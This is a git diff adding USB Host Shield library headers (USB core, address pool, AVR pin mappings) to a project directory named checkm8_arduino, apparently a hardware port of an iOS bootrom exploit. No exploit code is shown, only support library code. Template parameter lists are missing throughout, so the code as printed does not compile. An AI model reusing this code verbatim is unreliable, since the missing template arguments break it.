0xD3 +#define USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL 0xD4 +#define USB_ERROR_HUB_ADDRESS_OVERFLOW 0xD5 +#define USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL 0xD6 +#define USB_ERROR_EPINFO_IS_NULL 0xD7 +#define USB_ERROR_INVALID_ARGUMENT 0xD8 +#define USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE 0xD9 +#define USB_ERROR_INVALID_MAX_PKT_SIZE 0xDA +#define USB_ERROR_EP_NOT_FOUND_IN_TBL 0xDB +#define USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET 0xE0 +#define USB_ERROR_FailGetDevDescr 0xE1 +#define USB_ERROR_FailSetDevTblEntry 0xE2 +#define USB_ERROR_FailGetConfDescr 0xE3 +#define USB_ERROR_TRANSFER_TIMEOUT 0xFF + +#define USB_XFER_TIMEOUT 50 // (5000) USB transfer timeout in milliseconds, per section 9.2.6.1 of USB 2.0 spec +//#define USB_NAK_LIMIT 32000 // NAK limit for a transfer. 0 means NAKs are not counted +#define USB_RETRY_LIMIT 3 // 3 retry limit for a transfer +#define USB_SETTLE_DELAY 200 // settle delay in milliseconds + +#define USB_NUMDEVICES 16 //number of USB devices +//#define HUB_MAX_HUBS 7 // maximum number of hubs that can be attached to the host controller +#define HUB_PORT_RESET_DELAY 20 // hub port reset delay 10 ms recomended, can be up to 20 ms + +/* USB state machine states */ +#define USB_STATE_MASK 0xf0 + +#define USB_STATE_DETACHED 0x10 +#define USB_DETACHED_SUBSTATE_INITIALIZE 0x11 +#define USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE 0x12 +#define USB_DETACHED_SUBSTATE_ILLEGAL 0x13 +#define USB_ATTACHED_SUBSTATE_SETTLE 0x20 +#define USB_ATTACHED_SUBSTATE_RESET_DEVICE 0x30 +#define USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE 0x40 +#define USB_ATTACHED_SUBSTATE_WAIT_SOF 0x50 +#define USB_ATTACHED_SUBSTATE_WAIT_RESET 0x51 +#define USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE 0x60 +#define USB_STATE_ADDRESSING 0x70 +#define USB_STATE_CONFIGURING 0x80 +#define USB_STATE_RUNNING 0x90 +#define USB_STATE_ERROR 0xa0 + +class USBDeviceConfig { +public: + + virtual uint8_t Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) { + return 0; + } + + virtual uint8_t ConfigureDevice(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) { + return 0; + } + + virtual uint8_t Release() { + return 0; + } + + virtual uint8_t Poll() { + return 0; + } + + virtual uint8_t GetAddress() { + return 0; + } + + virtual void ResetHubPort(uint8_t port __attribute__((unused))) { + return; + } // Note used for hubs only! + + virtual bool VIDPIDOK(uint16_t vid __attribute__((unused)), uint16_t pid __attribute__((unused))) { + return false; + } + + virtual bool DEVCLASSOK(uint8_t klass __attribute__((unused))) { + return false; + } + + virtual bool DEVSUBCLASSOK(uint8_t subklass __attribute__((unused))) { + return true; + } + +}; + +/* USB Setup Packet Structure */ +typedef struct { + + union { // offset description + uint8_t bmRequestType; // 0 Bit-map of request type + + struct { + uint8_t recipient : 5; // Recipient of the request + uint8_t type : 2; // Type of request + uint8_t direction : 1; // Direction of data X-fer + } __attribute__((packed)); + } ReqType_u; + uint8_t bRequest; // 1 Request + + union { + uint16_t wValue; // 2 Depends on bRequest + + struct { + uint8_t wValueLo; + uint8_t wValueHi; + } __attribute__((packed)); + } wVal_u; + uint16_t wIndex; // 4 Depends on bRequest + uint16_t wLength; // 6 Depends on bRequest +} __attribute__((packed)) SETUP_PKT, *PSETUP_PKT; + + + +// Base class for incoming data parser + +class USBReadParser { +public: + virtual void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset) = 0; +}; + +class USB : public MAX3421E { + AddressPoolImpl addrPool; + USBDeviceConfig* devConfig[USB_NUMDEVICES]; + uint8_t bmHubPre; + +public: + USB(void); + + void SetHubPreMask() { + bmHubPre |= bmHUBPRE; + }; + + void ResetHubPreMask() { + bmHubPre &= (~bmHUBPRE); + }; + + AddressPool& GetAddressPool() { + return (AddressPool&)addrPool; + }; + + uint8_t RegisterDeviceClass(USBDeviceConfig *pdev) { + for(uint8_t i = 0; i < USB_NUMDEVICES; i++) { + if(!devConfig[i]) { + devConfig[i] = pdev; + return 0; + } + } + return USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS; + }; + + void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) { + addrPool.ForEachUsbDevice(pfunc); + }; + uint8_t getUsbTaskState(void); + void setUsbTaskState(uint8_t state); + + EpInfo* getEpInfoEntry(uint8_t addr, uint8_t ep); + uint8_t setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr); + + /* Control requests */ + uint8_t getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr); + uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr); + + uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p); + + uint8_t getStrDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t index, uint16_t langid, uint8_t* dataptr); + uint8_t setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr); + uint8_t setConf(uint8_t addr, uint8_t ep, uint8_t conf_value); + /**/ + uint8_t ctrlData(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr, bool direction); + uint8_t ctrlStatus(uint8_t ep, bool direction, uint16_t nak_limit); + uint8_t inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval = 0); + uint8_t outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data); + uint8_t dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit); + + void Task(void); + + uint8_t DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed); + uint8_t Configuring(uint8_t parent, uint8_t port, bool lowspeed); + uint8_t ReleaseDevice(uint8_t addr); + + uint8_t ctrlReq(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, + uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p); + uint8_t ctrlReq_SETUP(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, + uint16_t wInd, uint16_t total); +private: + void init(); + uint8_t SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit); + uint8_t OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data); + uint8_t InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t *data, uint8_t bInterval = 0); + uint8_t AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed); +}; + +#if 0 //defined(USB_METHODS_INLINE) +//get device descriptor + +inline uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, dataptr)); +} +//get configuration descriptor + +inline uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, dataptr)); +} +//get string descriptor + +inline uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t nuint8_ts, uint8_t index, uint16_t langid, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, nuint8_ts, dataptr)); +} +//set address + +inline uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) { + return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, NULL)); +} +//set configuration + +inline uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) { + return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, NULL)); +} + +#endif // defined(USB_METHODS_INLINE) + +#endif /* USBCORE_H */ diff --git a/checkm8_arduino/lib/hostshield/address.h b/checkm8_arduino/lib/hostshield/address.h new file mode 100644 index 0000000..0cc0ab1 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/address.h @@ -0,0 +1,290 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(__ADDRESS_H__) +#error "Never include address.h directly; include Usb.h instead" +#else +#define __ADDRESS_H__ + + + +/* NAK powers. To save space in endpoint data structure, amount of retries before giving up and returning 0x4 is stored in */ +/* bmNakPower as a power of 2. The actual nak_limit is then calculated as nak_limit = ( 2^bmNakPower - 1) */ +#define USB_NAK_MAX_POWER 15 //NAK binary order maximum value +#define USB_NAK_DEFAULT 14 //default 32K-1 NAKs before giving up +#define USB_NAK_NOWAIT 1 //Single NAK stops transfer +#define USB_NAK_NONAK 0 //Do not count NAKs, stop retrying after USB Timeout + +struct EpInfo { + uint8_t epAddr; // Endpoint address + uint8_t maxPktSize; // Maximum packet size + + union { + uint8_t epAttribs; + + struct { + uint8_t bmSndToggle : 1; // Send toggle, when zero bmSNDTOG0, bmSNDTOG1 otherwise + uint8_t bmRcvToggle : 1; // Send toggle, when zero bmRCVTOG0, bmRCVTOG1 otherwise + uint8_t bmNakPower : 6; // Binary order for NAK_LIMIT value + } __attribute__((packed)); + }; +} __attribute__((packed)); + +// 7 6 5 4 3 2 1 0 +// --------------------------------- +// | | H | P | P | P | A | A | A | +// --------------------------------- +// +// H - if 1 the address is a hub address +// P - parent hub address +// A - device address / port number in case of hub +// + +struct UsbDeviceAddress { + + union { + + struct { + uint8_t bmAddress : 3; // device address/port number + uint8_t bmParent : 3; // parent hub address + uint8_t bmHub : 1; // hub flag + uint8_t bmReserved : 1; // reserved, must be zero + } __attribute__((packed)); + uint8_t devAddress; + }; +} __attribute__((packed)); + +#define bmUSB_DEV_ADDR_ADDRESS 0x07 +#define bmUSB_DEV_ADDR_PARENT 0x38 +#define bmUSB_DEV_ADDR_HUB 0x40 + +struct UsbDevice { + EpInfo *epinfo; // endpoint info pointer + UsbDeviceAddress address; + uint8_t epcount; // number of endpoints + bool lowspeed; // indicates if a device is the low speed one + // uint8_t devclass; // device class +} __attribute__((packed)); + +class AddressPool { +public: + virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) = 0; + virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) = 0; + virtual void FreeAddress(uint8_t addr) = 0; +}; + +typedef void (*UsbDeviceHandleFunc)(UsbDevice *pdev); + +#define ADDR_ERROR_INVALID_INDEX 0xFF +#define ADDR_ERROR_INVALID_ADDRESS 0xFF + +template +class AddressPoolImpl : public AddressPool { + EpInfo dev0ep; //Endpoint data structure used during enumeration for uninitialized device + + uint8_t hubCounter; // hub counter is kept + // in order to avoid hub address duplication + + UsbDevice thePool[MAX_DEVICES_ALLOWED]; + + // Initializes address pool entry + + void InitEntry(uint8_t index) { + thePool[index].address.devAddress = 0; + thePool[index].epcount = 1; + thePool[index].lowspeed = 0; + thePool[index].epinfo = &dev0ep; + }; + + // Returns thePool index for a given address + + uint8_t FindAddressIndex(uint8_t address = 0) { + for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) { + if(thePool[i].address.devAddress == address) + return i; + } + return 0; + }; + + // Returns thePool child index for a given parent + + uint8_t FindChildIndex(UsbDeviceAddress addr, uint8_t start = 1) { + for(uint8_t i = (start < 1 || start >= MAX_DEVICES_ALLOWED) ? 1 : start; i < MAX_DEVICES_ALLOWED; i++) { + if(thePool[i].address.bmParent == addr.bmAddress) + return i; + } + return 0; + }; + + // Frees address entry specified by index parameter + + void FreeAddressByIndex(uint8_t index) { + // Zero field is reserved and should not be affected + if(index == 0) + return; + + UsbDeviceAddress uda = thePool[index].address; + // If a hub was switched off all port addresses should be freed + if(uda.bmHub == 1) { + for(uint8_t i = 1; (i = FindChildIndex(uda, i));) + FreeAddressByIndex(i); + + // If the hub had the last allocated address, hubCounter should be decremented + if(hubCounter == uda.bmAddress) + hubCounter--; + } + InitEntry(index); + } + + // Initializes the whole address pool at once + + void InitAllAddresses() { + for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) + InitEntry(i); + + hubCounter = 0; + }; + +public: + + AddressPoolImpl() : hubCounter(0) { + // Zero address is reserved + InitEntry(0); + + thePool[0].address.devAddress = 0; + thePool[0].epinfo = &dev0ep; + dev0ep.epAddr = 0; + dev0ep.maxPktSize = 8; + dev0ep.bmSndToggle = 0; // Set DATA0/1 toggles to 0 + dev0ep.bmRcvToggle = 0; + dev0ep.bmNakPower = USB_NAK_MAX_POWER; + + InitAllAddresses(); + }; + + // Returns a pointer to a specified address entry + + virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) { + if(!addr) + return thePool; + + uint8_t index = FindAddressIndex(addr); + + return (!index) ? NULL : thePool + index; + }; + + // Performs an operation specified by pfunc for each addressed device + + void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) { + if(!pfunc) + return; + + for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) + if(thePool[i].address.devAddress) + pfunc(thePool + i); + }; + + // Allocates new address + + virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) { + /* if (parent != 0 && port == 0) + USB_HOST_SERIAL.println("PRT:0"); */ + UsbDeviceAddress _parent; + _parent.devAddress = parent; + if(_parent.bmReserved || port > 7) + //if(parent > 127 || port > 7) + return 0; + + if(is_hub && hubCounter == 7) + return 0; + + // finds first empty address entry starting from one + uint8_t index = FindAddressIndex(0); + + if(!index) // if empty entry is not found + return 0; + + if(_parent.devAddress == 0) { + if(is_hub) { + thePool[index].address.devAddress = 0x41; + hubCounter++; + } else + thePool[index].address.devAddress = 1; + + return thePool[index].address.devAddress; + } + + UsbDeviceAddress addr; + addr.devAddress = 0; // Ensure all bits are zero + addr.bmParent = _parent.bmAddress; + if(is_hub) { + addr.bmHub = 1; + addr.bmAddress = ++hubCounter; + } else { + addr.bmHub = 0; + addr.bmAddress = port; + } + thePool[index].address = addr; + /* + USB_HOST_SERIAL.print("Addr:"); + USB_HOST_SERIAL.print(addr.bmHub, HEX); + USB_HOST_SERIAL.print("."); + USB_HOST_SERIAL.print(addr.bmParent, HEX); + USB_HOST_SERIAL.print("."); + USB_HOST_SERIAL.println(addr.bmAddress, HEX); + */ + return thePool[index].address.devAddress; + }; + + // Empties pool entry + + virtual void FreeAddress(uint8_t addr) { + // if the root hub is disconnected all the addresses should be initialized + if(addr == 0x41) { + InitAllAddresses(); + return; + } + uint8_t index = FindAddressIndex(addr); + FreeAddressByIndex(index); + }; + + // Returns number of hubs attached + // It can be rather helpfull to find out if there are hubs attached than getting the exact number of hubs. + //uint8_t GetNumHubs() + //{ + // return hubCounter; + //}; + //uint8_t GetNumDevices() + //{ + // uint8_t counter = 0; + + // for (uint8_t i=1; i +class TPin { + // BOOST_STATIC_ASSERT(PIN < PORT::Width); +public: + typedef PORT Port; + + enum { + Number = PIN + }; + + static void Set() { + PORT::Set(1 << PIN); + } + + static void Set(uint8_t val) { + if(val) + Set(); + else Clear(); + } + + static void SetDir(uint8_t val) { + if(val) + SetDirWrite(); + else SetDirRead(); + } + + static void Clear() { + PORT::Clear(1 << PIN); + } + + static void Toggle() { + PORT::Toggle(1 << PIN); + } + + static void SetDirRead() { + PORT::DirClear(1 << PIN); + } + + static void SetDirWrite() { + PORT::DirSet(1 << PIN); + } + + static uint8_t IsSet() { + return PORT::PinRead() & (uint8_t)(1 << PIN); + } + + static void WaiteForSet() { + while(IsSet() == 0) { + } + } + + static void WaiteForClear() { + while(IsSet()) { + } + } +}; //class TPin... + +// this class represents one bit in TCCR port. +// used to set/clear TCCRx bits +// It is fully static. + +template +class TCom { + // BOOST_STATIC_ASSERT(PIN < PORT::Width); +public: + typedef TCCR Tccr; + + enum { + Com = COM + }; + + static void Set() { + TCCR::Set(1 << COM); + } + + static void Clear() { + TCCR::Clear(1 << COM); + } + + static void Toggle() { + TCCR::Toggle(1 << COM); + } +}; //class TCom... + +//Short pin definitions +#ifdef USE_PORTA +typedef TPin Pa0; +typedef TPin Pa1; +typedef TPin Pa2; +typedef TPin Pa3; +typedef TPin Pa4; +typedef TPin Pa5; +typedef TPin Pa6; +typedef TPin Pa7; +#endif + +#ifdef USE_PORTB +typedef TPin Pb0; +typedef TPin Pb1; +typedef TPin Pb2; +typedef TPin Pb3; +typedef TPin Pb4; +typedef TPin Pb5; +typedef TPin Pb6; +typedef TPin Pb7; +#endif + +#ifdef USE_PORTC +typedef TPin Pc0; +typedef TPin Pc1; +typedef TPin Pc2; +typedef TPin Pc3; +typedef TPin Pc4; +typedef TPin Pc5; +typedef TPin Pc6; +typedef TPin Pc7; +#endif + +#ifdef USE_PORTD +typedef TPin Pd0; +typedef TPin Pd1; +typedef TPin Pd2; +typedef TPin Pd3; +typedef TPin Pd4; +typedef TPin Pd5; +typedef TPin Pd6; +typedef TPin Pd7; +#endif + +#ifdef USE_PORTE +typedef TPin Pe0; +typedef TPin Pe1; +typedef TPin Pe2; +typedef TPin Pe3; +typedef TPin Pe4; +typedef TPin Pe5; +typedef TPin Pe6; +typedef TPin Pe7; +#endif + +#ifdef USE_PORTF +typedef TPin Pf0; +typedef TPin Pf1; +typedef TPin Pf2; +typedef TPin Pf3; +typedef TPin Pf4; +typedef TPin Pf5; +typedef TPin Pf6; +typedef TPin Pf7; +#endif + +#ifdef USE_PORTG +typedef TPin Pg0; +typedef TPin Pg1; +typedef TPin Pg2; +typedef TPin Pg3; +typedef TPin Pg4; +typedef TPin Pg5; +typedef TPin Pg6; +typedef TPin Pg7; +#endif + +#ifdef USE_PORTH +typedef TPin Ph0; +typedef TPin Ph1; +typedef TPin Ph2; +typedef TPin Ph3; +typedef TPin Ph4; +typedef TPin Ph5; +typedef TPin Ph6; +typedef TPin Ph7; +#endif + +#ifdef USE_PORTJ +typedef TPin Pj0; +typedef TPin Pj1; +typedef TPin Pj2; +typedef TPin Pj3; +typedef TPin Pj4; +typedef TPin Pj5; +typedef TPin Pj6; +typedef TPin Pj7; +#endif + +#ifdef USE_PORTK +typedef TPin Pk0; +typedef TPin Pk1; +typedef TPin Pk2; +typedef TPin Pk3; +typedef TPin Pk4; +typedef TPin Pk5; +typedef TPin Pk6; +typedef TPin Pk7; +#endif + +#ifdef USE_PORTL +typedef TPin Pl0; +typedef TPin Pl1; +typedef TPin Pl2; +typedef TPin Pl3; +typedef TPin Pl4; +typedef TPin Pl5; +typedef TPin Pl6; +typedef TPin Pl7; +#endif + +#ifdef USE_PORTQ +typedef TPin Pq0; +typedef TPin Pq1; +typedef TPin Pq2; +typedef TPin Pq3; +typedef TPin Pq4; +typedef TPin Pq5; +typedef TPin Pq6; +typedef TPin Pq7; +#endif + +#ifdef USE_PORTR +typedef TPin Pr0; +typedef TPin Pr1; +typedef TPin Pr2; +typedef TPin Pr3; +typedef TPin Pr4; +typedef TPin Pr5; +typedef TPin Pr6; +typedef TPin Pr7; +#endif + +#ifdef USE_TCCR0A +typedef TCom Tc0a; //P6 +typedef TCom Tc0b; //P5 +#endif + +#ifdef USE_TCCR1A +typedef TCom Tc1a; //P9 +typedef TCom Tc1b; //P10 +#endif + +#ifdef USE_TCCR2A +typedef TCom Tc2a; //P11 +typedef TCom Tc2b; //P3 +#endif + +template +class Tp_Tc { +public: + + static void SetDir(uint8_t val) { + if(val) + SetDirWrite(); + else SetDirRead(); + } + + static void SetDirRead() { + Tp_pin::SetDirRead(); //set pin direction + Tc_bit::Clear(); //disconnect pin from PWM + } + + static void SetDirWrite() { + Tp_pin::SetDirWrite(); + Tc_bit::Clear(); + } +}; + +/* pin definitions for cases where it's necessary to clear compare output mode bits */ + +//typedef Tp_Tc P3; //Arduino pin 3 +//typedef Tp_Tc P5; //Arduino pin 5 +//typedef Tp_Tc P6; //Arduino pin 6 +//typedef Tp_Tc P9; //Arduino pin 9 +//typedef Tp_Tc P10; //Arduino pin 10 +//typedef Tp_Tc P11; //Arduino pin 11 + +/* Arduino pin definitions */ +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +// "Mega" Arduino pin numbers + +#define P0 Pe0 +#define P1 Pe1 +#define P2 Pe4 +#define P3 Pe5 +#define P4 Pg5 +#define P5 Pe3 +#define P6 Ph3 +#define P7 Ph4 + +#define P8 Ph5 +#define P9 Ph6 +#define P10 Pb4 +#define P11 Pb5 +#define P12 Pb6 +#define P13 Pb7 + +#define P14 Pj1 +#define P15 Pj0 +#define P16 Ph1 +#define P17 Ph0 +#define P18 Pd3 +#define P19 Pd2 +#define P20 Pd1 +#define P21 Pd0 + +#define P22 Pa0 +#define P23 Pa1 +#define P24 Pa2 +#define P25 Pa3 +#define P26 Pa4 +#define P27 Pa5 +#define P28 Pa6 +#define P29 Pa7 +#define P30 Pc7 +#define P31 Pc6 +#define P32 Pc5 +#define P33 Pc4 +#define P34 Pc3 +#define P35 Pc2 +#define P36 Pc1 +#define P37 Pc0 + +#define P38 Pd7 +#define P39 Pg2 +#define P40 Pg1 +#define P41 Pg0 +#define P42 Pl7 +#define P43 Pl6 +#define P44 Pl5 +#define P45 Pl4 +#define P46 Pl3 +#define P47 Pl2 +#define P48 Pl1 +#define P49 Pl0 +#define P50 Pb3 +#define P51 Pb2 +#define P52 Pb1 +#define P53 Pb0 + +#ifdef BOARD_MEGA_ADK // These pins are not broken out on the Arduino ADK +#define P54 Pe6 // INT on Arduino ADK +#define P55 Pj2 // MAX_RESET on Arduino ADK +#endif + +// "Mega" pin numbers + +#elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) +// "Classic" Arduino pin numbers + +#define P0 Pd0 +#define P1 Pd1 +#define P2 Pd2 +#define P3 Pd3 +#define P4 Pd4 +#define P5 Pd5 +#define P6 Pd6 +#define P7 Pd7 + +#define P8 Pb0 +#define P9 Pb1 +#define P10 Pb2 +#define P11 Pb3 +#define P12 Pb4 +#define P13 Pb5 + +#define P14 Pc0 +#define P15 Pc1 +#define P16 Pc2 +#define P17 Pc3 +#define P18 Pc4 +#define P19 Pc5 + +// "Classic" Arduino pin numbers + +#elif defined(CORE_TEENSY) && defined(__AVR_ATmega32U4__) +// Teensy 2.0 pin numbers +// http://www.pjrc.com/teensy/pinout.html +#define P0 Pb0 +#define P1 Pb1 +#define P2 Pb2 +#define P3 Pb3 +#define P4 Pb7 +#define P5 Pd0 +#define P6 Pd1 +#define P7 Pd2 +#define P8 Pd3 +#define P9 Pc6 +#define P10 Pc7 +#define P11 Pd6 +#define P12 Pd7 +#define P13 Pb4 +#define P14 Pb5 +#define P15 Pb6 +#define P16 Pf7 +#define P17 Pf6 +#define P18 Pf5 +#define P19 Pf4 +#define P20 Pf1 +#define P21 Pf0 +#define P22 Pd4 +#define P23 Pd5 +#define P24 Pe6 +// Teensy 2.0 + +#elif defined(__AVR_ATmega32U4__) +// Arduino Leonardo pin numbers + +#define P0 Pd2 // D0 - PD2 +#define P1 Pd3 // D1 - PD3 +#define P2 Pd1 // D2 - PD1 +#define P3 Pd0 // D3 - PD0 +#define P4 Pd4 // D4 - PD4 +#define P5 Pc6 // D5 - PC6 +#define P6 Pd7 // D6 - PD7 +#define P7 Pe6 // D7 - PE6 + +#define P8 Pb4 // D8 - PB4 +#define P9 Pb5 // D9 - PB5 +#define P10 Pb6 // D10 - PB6 +#define P11 Pb7 // D11 - PB7 +#define P12 Pd6 // D12 - PD6 +#define P13 Pc7 // D13 - PC7 + +#define P14 Pb3 // D14 - MISO - PB3 +#define P15 Pb1 // D15 - SCK - PB1 +#define P16 Pb2 // D16 - MOSI - PB2 +#define P17 Pb0 // D17 - SS - PB0 + +#define P18 Pf7 // D18 - A0 - PF7 +#define P19 Pf6 // D19 - A1 - PF6 +#define P20 Pf5 // D20 - A2 - PF5 +#define P21 Pf4 // D21 - A3 - PF4 +#define P22 Pf1 // D22 - A4 - PF1 +#define P23 Pf0 // D23 - A5 - PF0 + +#define P24 Pd4 // D24 / D4 - A6 - PD4 +#define P25 Pd7 // D25 / D6 - A7 - PD7 +#define P26 Pb4 // D26 / D8 - A8 - PB4 +#define P27 Pb5 // D27 / D9 - A9 - PB5 +#define P28 Pb6 // D28 / D10 - A10 - PB6 +#define P29 Pd6 // D29 / D12 - A11 - PD6 + +// Arduino Leonardo pin numbers + +#elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)) +// Teensy++ 1.0 and 2.0 pin numbers +// http://www.pjrc.com/teensy/pinout.html +#define P0 Pd0 +#define P1 Pd1 +#define P2 Pd2 +#define P3 Pd3 +#define P4 Pd4 +#define P5 Pd5 +#define P6 Pd6 +#define P7 Pd7 +#define P8 Pe0 +#define P9 Pe1 +#define P10 Pc0 +#define P11 Pc1 +#define P12 Pc2 +#define P13 Pc3 +#define P14 Pc4 +#define P15 Pc5 +#define P16 Pc6 +#define P17 Pc7 +#define P18 Pe6 +#define P19 Pe7 +#define P20 Pb0 +#define P21 Pb1 +#define P22 Pb2 +#define P23 Pb3 +#define P24 Pb4 +#define P25 Pb5 +#define P26 Pb6 +#define P27 Pb7 +#define P28 Pa0 +#define P29 Pa1 +#define P30 Pa2 +#define P31 Pa3 +#define P32 Pa4 +#define P33 Pa5 +#define P34 Pa6 +#define P35 Pa7 +#define P36 Pe4 +#define P37 Pe5 +#define P38 Pf0 +#define P39 Pf1 +#define P40 Pf2 +#define P41 Pf3 +#define P42 Pf4 +#define P43 Pf5 +#define P44 Pf6 +#define P45 Pf7 +// Teensy++ 1.0 and 2.0 + +#elif defined(ARDUINO_AVR_BALANDUINO) && (defined(__AVR_ATmega644__) || defined(__AVR_ATmega1284P__)) +// Balanduino pin numbers +// http://balanduino.net/ +#define P0 Pd0 /* 0 - PD0 */ +#define P1 Pd1 /* 1 - PD1 */ + +#if BALANDUINO_REVISION < 13 + #define P2 Pb2 /* 2 - PB2 */ + #define P3 Pd6 /* 3 - PD6 */ + #define P4 Pd7 /* 4 - PD7 */ + #define P5 Pb3 /* 5 - PB3 */ +#else + #define P2 Pd2 /* 2 - PD2 */ + #define P3 Pd3 /* 3 - PD3 */ + #define P4 Pd6 /* 4 - PD6 */ + #define P5 Pd7 /* 5 - PD7 */ +#endif + +#define P6 Pb4 /* 6 - PB4 */ +#define P7 Pa0 /* 7 - PA0 */ +#define P8 Pa1 /* 8 - PA1 */ +#define P9 Pa2 /* 9 - PA2 */ +#define P10 Pa3 /* 10 - PA3 */ +#define P11 Pa4 /* 11 - PA4 */ +#define P12 Pa5 /* 12 - PA5 */ +#define P13 Pc1 /* 13 - PC1 */ +#define P14 Pc0 /* 14 - PC0 */ + +#if BALANDUINO_REVISION < 13 + #define P15 Pd2 /* 15 - PD2 */ + #define P16 Pd3 /* 16 - PD3 */ +#else + #define P15 Pb2 /* 15 - PB2 */ + #define P16 Pb3 /* 16 - PB2 */ +#endif + +#define P17 Pd4 /* 17 - PD4 */ +#define P18 Pd5 /* 18 - PD5 */ +#define P19 Pc2 /* 19 - PC2 */ +#define P20 Pc3 /* 20 - PC3 */ +#define P21 Pc4 /* 21 - PC4 */ +#define P22 Pc5 /* 22 - PC5 */ +#define P23 Pc6 /* 23 - PC6 */ +#define P24 Pc7 /* 24 - PC7 */ +#define P25 Pb0 /* 25 - PB0 */ +#define P26 Pb1 /* 26 - PB1 */ +#define P27 Pb5 /* 27 - PB5 */ +#define P28 Pb6 /* 28 - PB6 */ +#define P29 Pb7 /* 29 - PB7 */ +#define P30 Pa6 /* 30 - PA6 */ +#define P31 Pa7 /* 31 - PA7 */ +// Balanduino + +#elif defined(ARDUINO_AVR_UNO_PRO) && defined(__AVR_ATmega1284P__) +// UNO*Pro pin numbers +// Homepage: http://www.hobbytronics.co.uk/arduino-uno-pro +// Pin Reference: http://www.hobbytronics.co.uk/download/uno_pro/pins_arduino.h +#define P0 Pd0 +#define P1 Pd1 +#define P2 Pb2 +#define P3 Pb3 +#define P4 Pb0 +#define P5 Pb1 +#define P6 Pd2 +#define P7 Pd3 +#define P8 Pd5 +#define P9 Pd6 +#define P10 Pb4 +#define P11 Pb5 +#define P12 Pb6 +#define P13 Pb7 +#define P14 Pa7 +#define P15 Pa6 +#define P16 Pa5 +#define P17 Pa4 +#define P18 Pa3 +#define P19 Pa2 +#define P20 Pa1 +#define P21 Pa0 +#define P22 Pc0 +#define P23 Pc1 +#define P24 Pc2 